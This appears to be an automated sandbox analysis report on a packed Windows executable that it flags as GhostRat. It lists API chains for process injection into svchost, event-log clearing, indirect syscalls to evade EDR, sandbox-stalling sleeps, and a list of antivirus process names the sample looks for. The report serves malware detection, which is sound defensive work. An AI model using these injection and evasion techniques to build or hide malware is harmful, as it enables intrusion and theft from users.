Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 2IVWAPeiZm.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 2IVWAPeiZm.exe

Static file information: File size 11845632 > 1048576

Source: 2IVWAPeiZm.exe

Static PE information: Raw size of UPX1 is bigger than: 0x100000 < 0xb31800

Source: 2IVWAPeiZm.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\rgweq\Desktop\@7\ssp\x64\Release\ssp.pdb%% source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\rgweq\Desktop\@7\ssp\x64\Release\ssp.pdb source: 2IVWAPeiZm.exe, 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: .pdb7 source: 2IVWAPeiZm.exe
Source:	Binary string: F:\SDKUPDATE\online_win\targets\win32\msc_lua\Release\msc.pdb source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmp

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9608A70 LoadLibraryW,GetProcAddress,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,FreeLibrary,

0_2_000001CFB9608A70

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96268D1 push rbp; retf	0_2_000001CFB96268D4
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB962C382 pushfq ; ret	0_2_000001CFB962C399
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB962A5EA push rsp; iretd	0_2_000001CFB962A5F9
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB93A5DBA push ebp; iretd	0_2_000001CFB93A5DC4
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB939B348 push esp; iretd	0_2_000001CFB939B349
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95C8D95 pushfd ; ret	0_2_000001CFB95C8D96

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB960D17A OpenEventLogW,ClearEventLogW,CloseEventLog,

0_2_000001CFB960D17A

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Key value created or modified: HKEY_CURRENT_USER\Console\1 d33f351a4aeea5e608853d1a56661059

Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_0-32568

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Stalling execution: Execution stalls by calling Sleep

graph_0-32583

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Window / User API: threadDelayed 800	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Window / User API: threadDelayed 3347	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Window / User API: threadDelayed 5011	Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-32118

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep			graph_0-32422
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_0-32418

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe TID: 7376	Thread sleep count: 267 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe TID: 7412	Thread sleep count: 800 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe TID: 7412	Thread sleep time: -800000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe TID: 7420	Thread sleep count: 3347 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe TID: 7420	Thread sleep time: -33470s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe TID: 7412	Thread sleep count: 5011 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe TID: 7412	Thread sleep time: -5011000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96098C0 GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,lstrcpyW,lstrcpyW,lstrcatW,

0_2_000001CFB96098C0

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96089F0 GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

0_2_000001CFB96089F0

Source: 2IVWAPeiZm.exe, 00000000.00000002.4111407796.000001CFB74F5000.00000004.00000020.00020000.00000000.sdmp, 2IVWAPeiZm.exe, 00000000.00000002.4111407796.000001CFB747C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

API call chain: ExitProcess graph end node

graph_0-32664

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96149D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_000001CFB96149D8

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9608A70 LoadLibraryW,GetProcAddress,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,FreeLibrary,

0_2_000001CFB9608A70

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9607BF0 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,LookupAccountSidW,GetLastError,GetProcessHeap,HeapFree,

0_2_000001CFB9607BF0

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96107A0 Sleep,SleepEx,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,RegOpenKeyExW,Sleep,SleepEx,RegOpenKeyExW,RegQueryValueExW,Sleep,WaitForSingleObject,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	0_2_000001CFB96107A0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96149D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000001CFB96149D8
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96118A0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000001CFB96118A0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_00007FF6F6085050 SetUnhandledExceptionFilter,	0_2_00007FF6F6085050
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_00007FF6F6084118 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6F6084118
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_00007FF6F60842F8 SetUnhandledExceptionFilter,	0_2_00007FF6F60842F8

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96095B0 GetSystemDirectoryA,CreateProcessA,VirtualAllocEx,WriteProcessMemory,GetThreadContext,SetThreadContext,ResumeThread,

0_2_000001CFB96095B0

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9608E20 GetSystemDirectoryA,CreateProcessA,OpenProcess,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,GetModuleFileNameA,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,ResumeThread,

0_2_000001CFB9608E20

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	NtUnmapViewOfSection: Indirect: 0x1CFB9313B24	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	NtMapViewOfSection: Indirect: 0x1CFB9313B90	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	NtMapViewOfSection: Indirect: 0x1CFB9313653	Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: GetSystemDirectoryA,CreateProcessA,OpenProcess,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,GetModuleFileNameA,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe

0_2_000001CFB9608E20

Source: 2IVWAPeiZm.exe, 00000000.00000002.4113072764.000001CFBA030000.00000004.00000020.00020000.00000000.sdmp, 2IVWAPeiZm.exe, 00000000.00000002.4113444705.000001CFBA432000.00000004.00000020.00020000.00000000.sdmp, 2IVWAPeiZm.exe, 00000000.00000003.3181505839.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: 2IVWAPeiZm.exe, 00000000.00000003.1797753089.000001CFBA0E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager
Source: 2IVWAPeiZm.exe, 00000000.00000003.3900337582.000001CFBA070000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .2.4 0 min724536Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free2 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager
Source: 2IVWAPeiZm.exe, 00000000.00000003.3349240156.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, 2IVWAPeiZm.exe, 00000000.00000003.1797698380.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, 2IVWAPeiZm.exe, 00000000.00000003.3368874986.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .2.4 0 min724536Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free3 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: gethostname,gethostbyname,inet_ntoa,inet_ntoa,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,GetTickCount,_localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,		0_2_000001CFB96067B0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: GetLocaleInfoW,		0_2_000001CFB9626190

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96107A0 Sleep,SleepEx,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,RegOpenKeyExW,Sleep,SleepEx,RegOpenKeyExW,RegQueryValueExW,Sleep,WaitForSingleObject,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,

0_2_000001CFB96107A0

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96188E0 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_000001CFB96188E0

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96142A8 HeapCreate,GetVersion,HeapSetInformation,

0_2_000001CFB96142A8

Source: 2IVWAPeiZm.exe	Binary or memory string: acs.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: kxetray.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: avcenter.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: vsserv.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: KSafeTray.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: cfp.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: avp.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: 360Safe.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: 360tray.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: rtvscan.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: ashDisp.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: TMBMSRV.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: 360Tray.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: avgwdsvc.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: AYAgent.aye
Source: 2IVWAPeiZm.exe	Binary or memory string: RavMonD.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: QUHLPSVC.EXE
Source: 2IVWAPeiZm.exe	Binary or memory string: Mcshield.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: K7TSecurity.exe

Stealing of Sensitive Information

Yara detected GhostRat

Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba34ac51.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb925162d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba0e5bd1.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb924647d.50.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.21.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba385181.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba432c61.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.42.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.26.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.39.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba031195.28.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.38.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb923b8cd.32.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba031195.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.36.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.36.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba3f91b5.52.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba031195.28.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb92413ed.41.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb925162d.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba0e5bd1.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.46.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.48.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba031195.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.33.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb92170ad.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfb95b06d1.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.23.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.26.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.49.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba432c61.53.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.44.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.29.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.45.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba3f91b5.52.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.22.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba385181.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfb94711a5.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.37.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.44.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.24.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0711a5.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.34.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.38.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.30.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba031195.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba432c61.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.34.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba031195.35.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb923764d.25.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba310721.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfb9600000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfb9600000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.45.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.22.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb925162d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb924647d.50.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb923764d.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.47.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.48.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.39.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba34ac51.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba3bec61.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.40.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.27.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.49.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.19.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.33.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.47.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0711a5.20.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfba0ab6a1.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0711a5.43.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfb925162d.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.40.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfb95b06d1.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0ab6a1.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IVWAPeiZm.exe.1cfb94711a5.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba0e5bd1.27.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IVWAPeiZm.exe.1cfba9111ed.14.raw.unpack, type: UNPACKEDPE
